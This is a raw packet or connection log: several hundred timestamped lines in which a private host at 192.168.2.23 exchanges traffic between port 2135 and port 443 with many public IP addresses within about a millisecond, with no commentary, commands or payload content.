Apr 14, 2024 03:59:53.106070042 CEST	443	2135	178.82.55.238	192.168.2.23
Apr 14, 2024 03:59:53.106085062 CEST	2135	443	192.168.2.23	109.136.147.134
Apr 14, 2024 03:59:53.106085062 CEST	2135	443	192.168.2.23	148.173.175.229
Apr 14, 2024 03:59:53.106085062 CEST	2135	443	192.168.2.23	178.53.87.159
Apr 14, 2024 03:59:53.106091976 CEST	443	2135	109.136.147.134	192.168.2.23
Apr 14, 2024 03:59:53.106100082 CEST	443	2135	148.173.175.229	192.168.2.23
Apr 14, 2024 03:59:53.106102943 CEST	2135	443	192.168.2.23	79.196.14.174
Apr 14, 2024 03:59:53.106103897 CEST	2135	443	192.168.2.23	5.16.96.143
Apr 14, 2024 03:59:53.106102943 CEST	2135	443	192.168.2.23	178.82.55.238
Apr 14, 2024 03:59:53.106107950 CEST	2135	443	192.168.2.23	109.250.154.91
Apr 14, 2024 03:59:53.106111050 CEST	2135	443	192.168.2.23	123.227.127.188
Apr 14, 2024 03:59:53.106111050 CEST	2135	443	192.168.2.23	2.195.57.9
Apr 14, 2024 03:59:53.106117964 CEST	443	2135	2.195.57.9	192.168.2.23
Apr 14, 2024 03:59:53.106133938 CEST	2135	443	192.168.2.23	109.136.147.134
Apr 14, 2024 03:59:53.106133938 CEST	2135	443	192.168.2.23	148.173.175.229
Apr 14, 2024 03:59:53.106142044 CEST	2135	443	192.168.2.23	2.249.40.163
Apr 14, 2024 03:59:53.106149912 CEST	443	2135	2.249.40.163	192.168.2.23
Apr 14, 2024 03:59:53.106153011 CEST	2135	443	192.168.2.23	2.195.57.9
Apr 14, 2024 03:59:53.106158018 CEST	2135	443	192.168.2.23	94.109.108.173
Apr 14, 2024 03:59:53.106158018 CEST	2135	443	192.168.2.23	37.46.217.144
Apr 14, 2024 03:59:53.106164932 CEST	2135	443	192.168.2.23	123.33.226.188
Apr 14, 2024 03:59:53.106168032 CEST	2135	443	192.168.2.23	37.43.115.215
Apr 14, 2024 03:59:53.106168985 CEST	443	2135	94.109.108.173	192.168.2.23
Apr 14, 2024 03:59:53.106168985 CEST	2135	443	192.168.2.23	118.205.32.16
Apr 14, 2024 03:59:53.106173038 CEST	443	2135	123.33.226.188	192.168.2.23
Apr 14, 2024 03:59:53.106173992 CEST	443	2135	37.43.115.215	192.168.2.23
Apr 14, 2024 03:59:53.106175900 CEST	443	2135	118.205.32.16	192.168.2.23
Apr 14, 2024 03:59:53.106183052 CEST	443	2135	37.46.217.144	192.168.2.23
Apr 14, 2024 03:59:53.106185913 CEST	2135	443	192.168.2.23	2.249.40.163
Apr 14, 2024 03:59:53.106187105 CEST	2135	443	192.168.2.23	117.190.238.40
Apr 14, 2024 03:59:53.106187105 CEST	2135	443	192.168.2.23	117.4.25.130
Apr 14, 2024 03:59:53.106194973 CEST	443	2135	117.4.25.130	192.168.2.23
Apr 14, 2024 03:59:53.106194973 CEST	443	2135	117.190.238.40	192.168.2.23
Apr 14, 2024 03:59:53.106199980 CEST	2135	443	192.168.2.23	94.109.108.173
Apr 14, 2024 03:59:53.106205940 CEST	2135	443	192.168.2.23	118.155.225.98
Apr 14, 2024 03:59:53.106214046 CEST	443	2135	118.155.225.98	192.168.2.23
Apr 14, 2024 03:59:53.106215000 CEST	2135	443	192.168.2.23	37.43.115.215
Apr 14, 2024 03:59:53.106218100 CEST	2135	443	192.168.2.23	210.71.211.145
Apr 14, 2024 03:59:53.106218100 CEST	2135	443	192.168.2.23	123.33.226.188
Apr 14, 2024 03:59:53.106223106 CEST	2135	443	192.168.2.23	2.38.117.65
Apr 14, 2024 03:59:53.106223106 CEST	2135	443	192.168.2.23	117.190.238.40
Apr 14, 2024 03:59:53.106229067 CEST	2135	443	192.168.2.23	117.4.25.130
Apr 14, 2024 03:59:53.106229067 CEST	443	2135	210.71.211.145	192.168.2.23
Apr 14, 2024 03:59:53.106230021 CEST	2135	443	192.168.2.23	118.205.32.16
Apr 14, 2024 03:59:53.106230974 CEST	2135	443	192.168.2.23	37.46.217.144
Apr 14, 2024 03:59:53.106231928 CEST	443	2135	2.38.117.65	192.168.2.23
Apr 14, 2024 03:59:53.106251955 CEST	2135	443	192.168.2.23	118.155.225.98
Apr 14, 2024 03:59:53.106255054 CEST	2135	443	192.168.2.23	37.39.112.229
Apr 14, 2024 03:59:53.106261015 CEST	443	2135	37.39.112.229	192.168.2.23
Apr 14, 2024 03:59:53.106264114 CEST	2135	443	192.168.2.23	37.3.190.244
Apr 14, 2024 03:59:53.106264114 CEST	2135	443	192.168.2.23	118.45.223.100
Apr 14, 2024 03:59:53.106264114 CEST	2135	443	192.168.2.23	148.165.123.48
Apr 14, 2024 03:59:53.106264114 CEST	2135	443	192.168.2.23	118.113.174.13
Apr 14, 2024 03:59:53.106264114 CEST	2135	443	192.168.2.23	5.135.195.45
Apr 14, 2024 03:59:53.106275082 CEST	443	2135	37.3.190.244	192.168.2.23
Apr 14, 2024 03:59:53.106277943 CEST	2135	443	192.168.2.23	210.71.211.145
Apr 14, 2024 03:59:53.106282949 CEST	2135	443	192.168.2.23	118.170.30.78
Apr 14, 2024 03:59:53.106285095 CEST	443	2135	118.45.223.100	192.168.2.23
Apr 14, 2024 03:59:53.106287003 CEST	2135	443	192.168.2.23	2.38.117.65
Apr 14, 2024 03:59:53.106287003 CEST	2135	443	192.168.2.23	210.245.169.23
Apr 14, 2024 03:59:53.106287003 CEST	2135	443	192.168.2.23	210.208.145.63
Apr 14, 2024 03:59:53.106292009 CEST	443	2135	148.165.123.48	192.168.2.23
Apr 14, 2024 03:59:53.106293917 CEST	2135	443	192.168.2.23	37.39.112.229
Apr 14, 2024 03:59:53.106295109 CEST	443	2135	118.170.30.78	192.168.2.23
Apr 14, 2024 03:59:53.106296062 CEST	443	2135	210.245.169.23	192.168.2.23
Apr 14, 2024 03:59:53.106302023 CEST	443	2135	210.208.145.63	192.168.2.23
Apr 14, 2024 03:59:53.106303930 CEST	443	2135	5.135.195.45	192.168.2.23
Apr 14, 2024 03:59:53.106307983 CEST	443	2135	118.113.174.13	192.168.2.23
Apr 14, 2024 03:59:53.106317997 CEST	2135	443	192.168.2.23	123.45.26.242
Apr 14, 2024 03:59:53.106317997 CEST	2135	443	192.168.2.23	37.3.190.244
Apr 14, 2024 03:59:53.106321096 CEST	2135	443	192.168.2.23	5.49.92.161
Apr 14, 2024 03:59:53.106324911 CEST	443	2135	123.45.26.242	192.168.2.23
Apr 14, 2024 03:59:53.106327057 CEST	2135	443	192.168.2.23	118.95.123.45
Apr 14, 2024 03:59:53.106327057 CEST	443	2135	5.49.92.161	192.168.2.23
Apr 14, 2024 03:59:53.106327057 CEST	2135	443	192.168.2.23	94.135.52.143
Apr 14, 2024 03:59:53.106327057 CEST	2135	443	192.168.2.23	210.32.107.155
Apr 14, 2024 03:59:53.106332064 CEST	2135	443	192.168.2.23	94.106.192.71
Apr 14, 2024 03:59:53.106333017 CEST	443	2135	118.95.123.45	192.168.2.23
Apr 14, 2024 03:59:53.106337070 CEST	443	2135	94.135.52.143	192.168.2.23
Apr 14, 2024 03:59:53.106339931 CEST	443	2135	94.106.192.71	192.168.2.23
Apr 14, 2024 03:59:53.106343985 CEST	2135	443	192.168.2.23	118.170.30.78
Apr 14, 2024 03:59:53.106343985 CEST	443	2135	210.32.107.155	192.168.2.23
Apr 14, 2024 03:59:53.106354952 CEST	2135	443	192.168.2.23	210.245.169.23
Apr 14, 2024 03:59:53.106359005 CEST	2135	443	192.168.2.23	210.208.145.63
Apr 14, 2024 03:59:53.106359005 CEST	2135	443	192.168.2.23	5.49.92.161
Apr 14, 2024 03:59:53.106364012 CEST	2135	443	192.168.2.23	94.135.52.143
Apr 14, 2024 03:59:53.106364012 CEST	2135	443	192.168.2.23	118.45.223.100
Apr 14, 2024 03:59:53.106364012 CEST	2135	443	192.168.2.23	109.142.1.168
Apr 14, 2024 03:59:53.106364012 CEST	2135	443	192.168.2.23	5.135.195.45
Apr 14, 2024 03:59:53.106364012 CEST	2135	443	192.168.2.23	123.45.26.242
Apr 14, 2024 03:59:53.106364012 CEST	2135	443	192.168.2.23	148.165.123.48
Apr 14, 2024 03:59:53.106364012 CEST	2135	443	192.168.2.23	118.113.174.13
Apr 14, 2024 03:59:53.106369972 CEST	2135	443	192.168.2.23	118.95.123.45
Apr 14, 2024 03:59:53.106374979 CEST	443	2135	109.142.1.168	192.168.2.23
Apr 14, 2024 03:59:53.106390953 CEST	2135	443	192.168.2.23	210.32.107.155
Apr 14, 2024 03:59:53.106390953 CEST	2135	443	192.168.2.23	94.106.192.71
Apr 14, 2024 03:59:53.106395006 CEST	2135	443	192.168.2.23	94.197.216.49
Apr 14, 2024 03:59:53.106395006 CEST	2135	443	192.168.2.23	118.160.146.190
Apr 14, 2024 03:59:53.106401920 CEST	2135	443	192.168.2.23	42.156.113.106
Apr 14, 2024 03:59:53.106403112 CEST	443	2135	94.197.216.49	192.168.2.23
Apr 14, 2024 03:59:53.106409073 CEST	2135	443	192.168.2.23	148.160.165.131
Apr 14, 2024 03:59:53.106410027 CEST	443	2135	42.156.113.106	192.168.2.23
Apr 14, 2024 03:59:53.106415987 CEST	443	2135	118.160.146.190	192.168.2.23
Apr 14, 2024 03:59:53.106416941 CEST	443	2135	148.160.165.131	192.168.2.23
Apr 14, 2024 03:59:53.106419086 CEST	2135	443	192.168.2.23	210.196.223.132
Apr 14, 2024 03:59:53.106426001 CEST	443	2135	210.196.223.132	192.168.2.23
Apr 14, 2024 03:59:53.106427908 CEST	2135	443	192.168.2.23	210.116.203.71
Apr 14, 2024 03:59:53.106436014 CEST	443	2135	210.116.203.71	192.168.2.23
Apr 14, 2024 03:59:53.106439114 CEST	2135	443	192.168.2.23	94.217.112.176
Apr 14, 2024 03:59:53.106441021 CEST	2135	443	192.168.2.23	212.110.206.197
Apr 14, 2024 03:59:53.106441021 CEST	2135	443	192.168.2.23	118.160.146.190
Apr 14, 2024 03:59:53.106443882 CEST	2135	443	192.168.2.23	42.156.113.106
Apr 14, 2024 03:59:53.106446981 CEST	443	2135	94.217.112.176	192.168.2.23
Apr 14, 2024 03:59:53.106451988 CEST	443	2135	212.110.206.197	192.168.2.23
Apr 14, 2024 03:59:53.106458902 CEST	2135	443	192.168.2.23	94.197.216.49
Apr 14, 2024 03:59:53.106461048 CEST	2135	443	192.168.2.23	123.138.170.140
Apr 14, 2024 03:59:53.106461048 CEST	2135	443	192.168.2.23	109.142.1.168
Apr 14, 2024 03:59:53.106462955 CEST	2135	443	192.168.2.23	123.145.193.23
Apr 14, 2024 03:59:53.106461048 CEST	2135	443	192.168.2.23	148.160.165.131
Apr 14, 2024 03:59:53.106470108 CEST	443	2135	123.138.170.140	192.168.2.23
Apr 14, 2024 03:59:53.106471062 CEST	2135	443	192.168.2.23	202.191.106.238
Apr 14, 2024 03:59:53.106471062 CEST	2135	443	192.168.2.23	117.19.4.242
Apr 14, 2024 03:59:53.106471062 CEST	443	2135	123.145.193.23	192.168.2.23
Apr 14, 2024 03:59:53.106471062 CEST	2135	443	192.168.2.23	210.116.203.71
Apr 14, 2024 03:59:53.106473923 CEST	2135	443	192.168.2.23	210.196.223.132
Apr 14, 2024 03:59:53.106473923 CEST	2135	443	192.168.2.23	148.21.95.101
Apr 14, 2024 03:59:53.106477022 CEST	2135	443	192.168.2.23	109.34.205.66
Apr 14, 2024 03:59:53.106473923 CEST	2135	443	192.168.2.23	212.111.30.53
Apr 14, 2024 03:59:53.106478930 CEST	2135	443	192.168.2.23	2.57.103.109
Apr 14, 2024 03:59:53.106481075 CEST	443	2135	202.191.106.238	192.168.2.23
Apr 14, 2024 03:59:53.106481075 CEST	443	2135	117.19.4.242	192.168.2.23
Apr 14, 2024 03:59:53.106482983 CEST	2135	443	192.168.2.23	212.110.206.197
Apr 14, 2024 03:59:53.106486082 CEST	443	2135	2.57.103.109	192.168.2.23
Apr 14, 2024 03:59:53.106491089 CEST	443	2135	109.34.205.66	192.168.2.23
Apr 14, 2024 03:59:53.106496096 CEST	443	2135	212.111.30.53	192.168.2.23
Apr 14, 2024 03:59:53.106498003 CEST	443	2135	148.21.95.101	192.168.2.23
Apr 14, 2024 03:59:53.106507063 CEST	2135	443	192.168.2.23	79.72.136.158
Apr 14, 2024 03:59:53.106507063 CEST	2135	443	192.168.2.23	94.217.112.176
Apr 14, 2024 03:59:53.106508970 CEST	2135	443	192.168.2.23	202.191.106.238
Apr 14, 2024 03:59:53.106512070 CEST	2135	443	192.168.2.23	178.3.161.11
Apr 14, 2024 03:59:53.106514931 CEST	2135	443	192.168.2.23	123.145.193.23
Apr 14, 2024 03:59:53.106515884 CEST	443	2135	79.72.136.158	192.168.2.23
Apr 14, 2024 03:59:53.106520891 CEST	2135	443	192.168.2.23	117.19.4.242
Apr 14, 2024 03:59:53.106520891 CEST	2135	443	192.168.2.23	2.57.103.109
Apr 14, 2024 03:59:53.106523037 CEST	2135	443	192.168.2.23	109.34.205.66
Apr 14, 2024 03:59:53.106525898 CEST	443	2135	178.3.161.11	192.168.2.23
Apr 14, 2024 03:59:53.106534958 CEST	2135	443	192.168.2.23	212.111.30.53
Apr 14, 2024 03:59:53.106534958 CEST	2135	443	192.168.2.23	148.21.95.101
Apr 14, 2024 03:59:53.106538057 CEST	2135	443	192.168.2.23	123.30.180.173
Apr 14, 2024 03:59:53.106538057 CEST	2135	443	192.168.2.23	123.138.170.140
Apr 14, 2024 03:59:53.106538057 CEST	2135	443	192.168.2.23	5.47.62.88
Apr 14, 2024 03:59:53.106539011 CEST	2135	443	192.168.2.23	2.29.163.235
Apr 14, 2024 03:59:53.106547117 CEST	443	2135	123.30.180.173	192.168.2.23
Apr 14, 2024 03:59:53.106548071 CEST	443	2135	2.29.163.235	192.168.2.23
Apr 14, 2024 03:59:53.106551886 CEST	2135	443	192.168.2.23	79.72.136.158
Apr 14, 2024 03:59:53.106555939 CEST	2135	443	192.168.2.23	178.3.161.11
Apr 14, 2024 03:59:53.106555939 CEST	443	2135	5.47.62.88	192.168.2.23
Apr 14, 2024 03:59:53.106570959 CEST	2135	443	192.168.2.23	42.22.252.81
Apr 14, 2024 03:59:53.106575012 CEST	2135	443	192.168.2.23	210.44.191.190
Apr 14, 2024 03:59:53.106576920 CEST	443	2135	42.22.252.81	192.168.2.23
Apr 14, 2024 03:59:53.106583118 CEST	443	2135	210.44.191.190	192.168.2.23
Apr 14, 2024 03:59:53.106584072 CEST	2135	443	192.168.2.23	94.69.21.97
Apr 14, 2024 03:59:53.106584072 CEST	2135	443	192.168.2.23	148.46.104.158
Apr 14, 2024 03:59:53.106584072 CEST	2135	443	192.168.2.23	109.85.36.166
Apr 14, 2024 03:59:53.106590986 CEST	2135	443	192.168.2.23	2.29.163.235
Apr 14, 2024 03:59:53.106591940 CEST	443	2135	94.69.21.97	192.168.2.23
Apr 14, 2024 03:59:53.106592894 CEST	2135	443	192.168.2.23	123.30.180.173
Apr 14, 2024 03:59:53.106595993 CEST	443	2135	148.46.104.158	192.168.2.23
Apr 14, 2024 03:59:53.106599092 CEST	443	2135	109.85.36.166	192.168.2.23
Apr 14, 2024 03:59:53.106606007 CEST	2135	443	192.168.2.23	42.22.252.81
Apr 14, 2024 03:59:53.106615067 CEST	2135	443	192.168.2.23	210.44.191.190
Apr 14, 2024 03:59:53.106626034 CEST	2135	443	192.168.2.23	94.69.21.97
Apr 14, 2024 03:59:53.106627941 CEST	2135	443	192.168.2.23	5.47.62.88
Apr 14, 2024 03:59:53.106632948 CEST	2135	443	192.168.2.23	37.90.52.52
Apr 14, 2024 03:59:53.106633902 CEST	2135	443	192.168.2.23	148.46.104.158
Apr 14, 2024 03:59:53.106640100 CEST	443	2135	37.90.52.52	192.168.2.23
Apr 14, 2024 03:59:53.106642008 CEST	2135	443	192.168.2.23	178.103.19.184
Apr 14, 2024 03:59:53.106647968 CEST	443	2135	178.103.19.184	192.168.2.23
Apr 14, 2024 03:59:53.106652975 CEST	2135	443	192.168.2.23	202.165.220.21
Apr 14, 2024 03:59:53.106653929 CEST	2135	443	192.168.2.23	109.85.36.166
Apr 14, 2024 03:59:53.106659889 CEST	443	2135	202.165.220.21	192.168.2.23
Apr 14, 2024 03:59:53.106662035 CEST	2135	443	192.168.2.23	202.141.71.121
Apr 14, 2024 03:59:53.106667995 CEST	443	2135	202.141.71.121	192.168.2.23
Apr 14, 2024 03:59:53.106668949 CEST	2135	443	192.168.2.23	37.90.52.52
Apr 14, 2024 03:59:53.106683016 CEST	2135	443	192.168.2.23	37.169.194.169
Apr 14, 2024 03:59:53.106684923 CEST	2135	443	192.168.2.23	202.211.28.118
Apr 14, 2024 03:59:53.106688976 CEST	443	2135	37.169.194.169	192.168.2.23
Apr 14, 2024 03:59:53.106689930 CEST	443	2135	202.211.28.118	192.168.2.23
Apr 14, 2024 03:59:53.106699944 CEST	2135	443	192.168.2.23	2.138.80.98
Apr 14, 2024 03:59:53.106699944 CEST	2135	443	192.168.2.23	118.72.163.114
Apr 14, 2024 03:59:53.106699944 CEST	2135	443	192.168.2.23	117.99.251.27
Apr 14, 2024 03:59:53.106703997 CEST	2135	443	192.168.2.23	178.103.19.184
Apr 14, 2024 03:59:53.106704950 CEST	2135	443	192.168.2.23	178.5.158.72
Apr 14, 2024 03:59:53.106704950 CEST	2135	443	192.168.2.23	94.63.238.186
Apr 14, 2024 03:59:53.106705904 CEST	2135	443	192.168.2.23	202.165.220.21
Apr 14, 2024 03:59:53.106707096 CEST	443	2135	118.72.163.114	192.168.2.23
Apr 14, 2024 03:59:53.106707096 CEST	443	2135	2.138.80.98	192.168.2.23
Apr 14, 2024 03:59:53.106714010 CEST	2135	443	192.168.2.23	202.141.71.121
Apr 14, 2024 03:59:53.106714010 CEST	2135	443	192.168.2.23	109.22.188.138
Apr 14, 2024 03:59:53.106715918 CEST	443	2135	178.5.158.72	192.168.2.23
Apr 14, 2024 03:59:53.106719017 CEST	443	2135	117.99.251.27	192.168.2.23
Apr 14, 2024 03:59:53.106720924 CEST	443	2135	109.22.188.138	192.168.2.23
Apr 14, 2024 03:59:53.106724977 CEST	443	2135	94.63.238.186	192.168.2.23
Apr 14, 2024 03:59:53.106730938 CEST	2135	443	192.168.2.23	202.211.28.118
Apr 14, 2024 03:59:53.106731892 CEST	2135	443	192.168.2.23	37.169.194.169
Apr 14, 2024 03:59:53.106736898 CEST	2135	443	192.168.2.23	94.132.142.135
Apr 14, 2024 03:59:53.106738091 CEST	2135	443	192.168.2.23	123.53.103.102
Apr 14, 2024 03:59:53.106738091 CEST	2135	443	192.168.2.23	118.72.163.114
Apr 14, 2024 03:59:53.106744051 CEST	443	2135	123.53.103.102	192.168.2.23
Apr 14, 2024 03:59:53.106745005 CEST	443	2135	94.132.142.135	192.168.2.23
Apr 14, 2024 03:59:53.106748104 CEST	2135	443	192.168.2.23	212.108.221.87
Apr 14, 2024 03:59:53.106748104 CEST	2135	443	192.168.2.23	210.100.189.20
Apr 14, 2024 03:59:53.106754065 CEST	2135	443	192.168.2.23	178.5.158.72
Apr 14, 2024 03:59:53.106754065 CEST	2135	443	192.168.2.23	94.63.238.186
Apr 14, 2024 03:59:53.106755018 CEST	443	2135	212.108.221.87	192.168.2.23
Apr 14, 2024 03:59:53.106760025 CEST	2135	443	192.168.2.23	2.138.80.98
Apr 14, 2024 03:59:53.106762886 CEST	443	2135	210.100.189.20	192.168.2.23
Apr 14, 2024 03:59:53.106766939 CEST	2135	443	192.168.2.23	42.96.10.45
Apr 14, 2024 03:59:53.106769085 CEST	2135	443	192.168.2.23	178.20.216.252
Apr 14, 2024 03:59:53.106770992 CEST	2135	443	192.168.2.23	109.22.188.138
Apr 14, 2024 03:59:53.106775045 CEST	443	2135	42.96.10.45	192.168.2.23
Apr 14, 2024 03:59:53.106781960 CEST	443	2135	178.20.216.252	192.168.2.23
Apr 14, 2024 03:59:53.106792927 CEST	2135	443	192.168.2.23	37.113.179.187
Apr 14, 2024 03:59:53.106792927 CEST	2135	443	192.168.2.23	212.108.221.87
Apr 14, 2024 03:59:53.106792927 CEST	2135	443	192.168.2.23	210.100.189.20
Apr 14, 2024 03:59:53.106792927 CEST	2135	443	192.168.2.23	37.181.241.70
Apr 14, 2024 03:59:53.106801033 CEST	443	2135	37.113.179.187	192.168.2.23
Apr 14, 2024 03:59:53.106801987 CEST	443	2135	37.181.241.70	192.168.2.23
Apr 14, 2024 03:59:53.106811047 CEST	2135	443	192.168.2.23	2.161.113.70
Apr 14, 2024 03:59:53.106811047 CEST	2135	443	192.168.2.23	42.96.10.45
Apr 14, 2024 03:59:53.106820107 CEST	2135	443	192.168.2.23	94.132.142.135
Apr 14, 2024 03:59:53.106821060 CEST	2135	443	192.168.2.23	117.99.251.27
Apr 14, 2024 03:59:53.106821060 CEST	2135	443	192.168.2.23	123.53.103.102
Apr 14, 2024 03:59:53.106822014 CEST	443	2135	2.161.113.70	192.168.2.23
Apr 14, 2024 03:59:53.106822968 CEST	2135	443	192.168.2.23	178.20.216.252
Apr 14, 2024 03:59:53.106836081 CEST	2135	443	192.168.2.23	109.53.205.69
Apr 14, 2024 03:59:53.106836081 CEST	2135	443	192.168.2.23	37.113.179.187
Apr 14, 2024 03:59:53.106839895 CEST	2135	443	192.168.2.23	37.181.241.70
Apr 14, 2024 03:59:53.106841087 CEST	2135	443	192.168.2.23	2.195.107.50
Apr 14, 2024 03:59:53.106841087 CEST	2135	443	192.168.2.23	123.232.60.202
Apr 14, 2024 03:59:53.106843948 CEST	443	2135	109.53.205.69	192.168.2.23
Apr 14, 2024 03:59:53.106846094 CEST	443	2135	2.195.107.50	192.168.2.23
Apr 14, 2024 03:59:53.106847048 CEST	443	2135	123.232.60.202	192.168.2.23
Apr 14, 2024 03:59:53.106853008 CEST	2135	443	192.168.2.23	148.65.175.161
Apr 14, 2024 03:59:53.106854916 CEST	2135	443	192.168.2.23	2.161.113.70
Apr 14, 2024 03:59:53.106858969 CEST	443	2135	148.65.175.161	192.168.2.23
Apr 14, 2024 03:59:53.106870890 CEST	2135	443	192.168.2.23	123.232.60.202
Apr 14, 2024 03:59:53.106870890 CEST	2135	443	192.168.2.23	202.183.98.79
Apr 14, 2024 03:59:53.106873035 CEST	2135	443	192.168.2.23	109.212.231.225
Apr 14, 2024 03:59:53.106879950 CEST	443	2135	109.212.231.225	192.168.2.23
Apr 14, 2024 03:59:53.106880903 CEST	443	2135	202.183.98.79	192.168.2.23
Apr 14, 2024 03:59:53.106888056 CEST	2135	443	192.168.2.23	148.227.185.242
Apr 14, 2024 03:59:53.106889963 CEST	2135	443	192.168.2.23	109.53.205.69
Apr 14, 2024 03:59:53.106890917 CEST	2135	443	192.168.2.23	2.195.107.50
Apr 14, 2024 03:59:53.106894016 CEST	443	2135	148.227.185.242	192.168.2.23
Apr 14, 2024 03:59:53.106897116 CEST	2135	443	192.168.2.23	123.199.223.216
Apr 14, 2024 03:59:53.106898069 CEST	2135	443	192.168.2.23	210.204.111.241
Apr 14, 2024 03:59:53.106899977 CEST	2135	443	192.168.2.23	202.37.153.188
Apr 14, 2024 03:59:53.106904030 CEST	443	2135	210.204.111.241	192.168.2.23
Apr 14, 2024 03:59:53.106905937 CEST	443	2135	123.199.223.216	192.168.2.23
Apr 14, 2024 03:59:53.106908083 CEST	443	2135	202.37.153.188	192.168.2.23
Apr 14, 2024 03:59:53.106918097 CEST	2135	443	192.168.2.23	202.183.98.79
Apr 14, 2024 03:59:53.106920958 CEST	2135	443	192.168.2.23	109.212.231.225
Apr 14, 2024 03:59:53.106925964 CEST	2135	443	192.168.2.23	42.49.224.210
Apr 14, 2024 03:59:53.106928110 CEST	2135	443	192.168.2.23	210.226.161.155
Apr 14, 2024 03:59:53.106929064 CEST	2135	443	192.168.2.23	148.227.185.242
Apr 14, 2024 03:59:53.106929064 CEST	2135	443	192.168.2.23	118.210.243.64
Apr 14, 2024 03:59:53.106930971 CEST	443	2135	42.49.224.210	192.168.2.23
Apr 14, 2024 03:59:53.106934071 CEST	443	2135	210.226.161.155	192.168.2.23
Apr 14, 2024 03:59:53.106935978 CEST	443	2135	118.210.243.64	192.168.2.23
Apr 14, 2024 03:59:53.106940985 CEST	2135	443	192.168.2.23	210.204.111.241
Apr 14, 2024 03:59:53.106940985 CEST	2135	443	192.168.2.23	109.139.86.18
Apr 14, 2024 03:59:53.106949091 CEST	443	2135	109.139.86.18	192.168.2.23
Apr 14, 2024 03:59:53.106951952 CEST	2135	443	192.168.2.23	202.37.153.188
Apr 14, 2024 03:59:53.106952906 CEST	2135	443	192.168.2.23	123.238.239.102
Apr 14, 2024 03:59:53.106952906 CEST	2135	443	192.168.2.23	202.253.147.4
Apr 14, 2024 03:59:53.106956959 CEST	443	2135	123.238.239.102	192.168.2.23
Apr 14, 2024 03:59:53.106957912 CEST	2135	443	192.168.2.23	210.101.41.18
Apr 14, 2024 03:59:53.106957912 CEST	2135	443	192.168.2.23	118.130.189.132
Apr 14, 2024 03:59:53.106957912 CEST	2135	443	192.168.2.23	210.226.161.155
Apr 14, 2024 03:59:53.106965065 CEST	443	2135	202.253.147.4	192.168.2.23
Apr 14, 2024 03:59:53.106966019 CEST	443	2135	210.101.41.18	192.168.2.23
Apr 14, 2024 03:59:53.106972933 CEST	443	2135	118.130.189.132	192.168.2.23
Apr 14, 2024 03:59:53.106973886 CEST	2135	443	192.168.2.23	118.210.243.64
Apr 14, 2024 03:59:53.106976986 CEST	2135	443	192.168.2.23	202.34.184.214
Apr 14, 2024 03:59:53.106976986 CEST	2135	443	192.168.2.23	123.199.223.216
Apr 14, 2024 03:59:53.106976986 CEST	2135	443	192.168.2.23	42.49.224.210
Apr 14, 2024 03:59:53.106981039 CEST	2135	443	192.168.2.23	109.139.86.18
Apr 14, 2024 03:59:53.106986046 CEST	443	2135	202.34.184.214	192.168.2.23
Apr 14, 2024 03:59:53.106997013 CEST	2135	443	192.168.2.23	123.238.239.102
Apr 14, 2024 03:59:53.107002020 CEST	2135	443	192.168.2.23	210.101.41.18
Apr 14, 2024 03:59:53.107002020 CEST	2135	443	192.168.2.23	118.130.189.132
Apr 14, 2024 03:59:53.107002974 CEST	2135	443	192.168.2.23	148.65.175.161
Apr 14, 2024 03:59:53.107002974 CEST	2135	443	192.168.2.23	2.243.129.75
Apr 14, 2024 03:59:53.107006073 CEST	2135	443	192.168.2.23	202.253.147.4
Apr 14, 2024 03:59:53.107012033 CEST	443	2135	2.243.129.75	192.168.2.23
Apr 14, 2024 03:59:53.107027054 CEST	2135	443	192.168.2.23	202.142.102.79
Apr 14, 2024 03:59:53.107032061 CEST	2135	443	192.168.2.23	109.215.160.10
Apr 14, 2024 03:59:53.107033014 CEST	2135	443	192.168.2.23	202.69.149.12
Apr 14, 2024 03:59:53.107033014 CEST	2135	443	192.168.2.23	79.29.205.209
Apr 14, 2024 03:59:53.107033968 CEST	443	2135	202.142.102.79	192.168.2.23
Apr 14, 2024 03:59:53.107033968 CEST	2135	443	192.168.2.23	202.34.184.214
Apr 14, 2024 03:59:53.107039928 CEST	443	2135	109.215.160.10	192.168.2.23
Apr 14, 2024 03:59:53.107043028 CEST	443	2135	202.69.149.12	192.168.2.23
Apr 14, 2024 03:59:53.107053995 CEST	443	2135	79.29.205.209	192.168.2.23
Apr 14, 2024 03:59:53.107055902 CEST	2135	443	192.168.2.23	79.254.132.243
Apr 14, 2024 03:59:53.107059002 CEST	2135	443	192.168.2.23	2.243.129.75
Apr 14, 2024 03:59:53.107064009 CEST	443	2135	79.254.132.243	192.168.2.23
Apr 14, 2024 03:59:53.107069016 CEST	2135	443	192.168.2.23	2.222.25.120
Apr 14, 2024 03:59:53.107072115 CEST	2135	443	192.168.2.23	202.142.102.79
Apr 14, 2024 03:59:53.107074022 CEST	443	2135	2.222.25.120	192.168.2.23
Apr 14, 2024 03:59:53.107083082 CEST	2135	443	192.168.2.23	212.210.169.70
Apr 14, 2024 03:59:53.107083082 CEST	2135	443	192.168.2.23	109.215.160.10
Apr 14, 2024 03:59:53.107084990 CEST	2135	443	192.168.2.23	202.69.149.12
Apr 14, 2024 03:59:53.107084990 CEST	2135	443	192.168.2.23	79.29.205.209
Apr 14, 2024 03:59:53.107090950 CEST	2135	443	192.168.2.23	79.254.132.243
Apr 14, 2024 03:59:53.107093096 CEST	443	2135	212.210.169.70	192.168.2.23
Apr 14, 2024 03:59:53.107106924 CEST	2135	443	192.168.2.23	2.222.25.120
Apr 14, 2024 03:59:53.107106924 CEST	2135	443	192.168.2.23	148.246.167.243
Apr 14, 2024 03:59:53.107116938 CEST	443	2135	148.246.167.243	192.168.2.23
Apr 14, 2024 03:59:53.107120037 CEST	2135	443	192.168.2.23	37.208.185.170
Apr 14, 2024 03:59:53.107120037 CEST	2135	443	192.168.2.23	109.39.236.35
Apr 14, 2024 03:59:53.107125044 CEST	443	2135	37.208.185.170	192.168.2.23
Apr 14, 2024 03:59:53.107124090 CEST	2135	443	192.168.2.23	212.207.117.52
Apr 14, 2024 03:59:53.107125998 CEST	2135	443	192.168.2.23	5.165.102.176
Apr 14, 2024 03:59:53.107126951 CEST	443	2135	109.39.236.35	192.168.2.23
Apr 14, 2024 03:59:53.107130051 CEST	2135	443	192.168.2.23	212.210.169.70
Apr 14, 2024 03:59:53.107136965 CEST	443	2135	212.207.117.52	192.168.2.23
Apr 14, 2024 03:59:53.107145071 CEST	443	2135	5.165.102.176	192.168.2.23
Apr 14, 2024 03:59:53.107148886 CEST	2135	443	192.168.2.23	148.246.167.243
Apr 14, 2024 03:59:53.107148886 CEST	2135	443	192.168.2.23	148.189.110.41
Apr 14, 2024 03:59:53.107156038 CEST	443	2135	148.189.110.41	192.168.2.23
Apr 14, 2024 03:59:53.107156992 CEST	2135	443	192.168.2.23	42.244.213.47
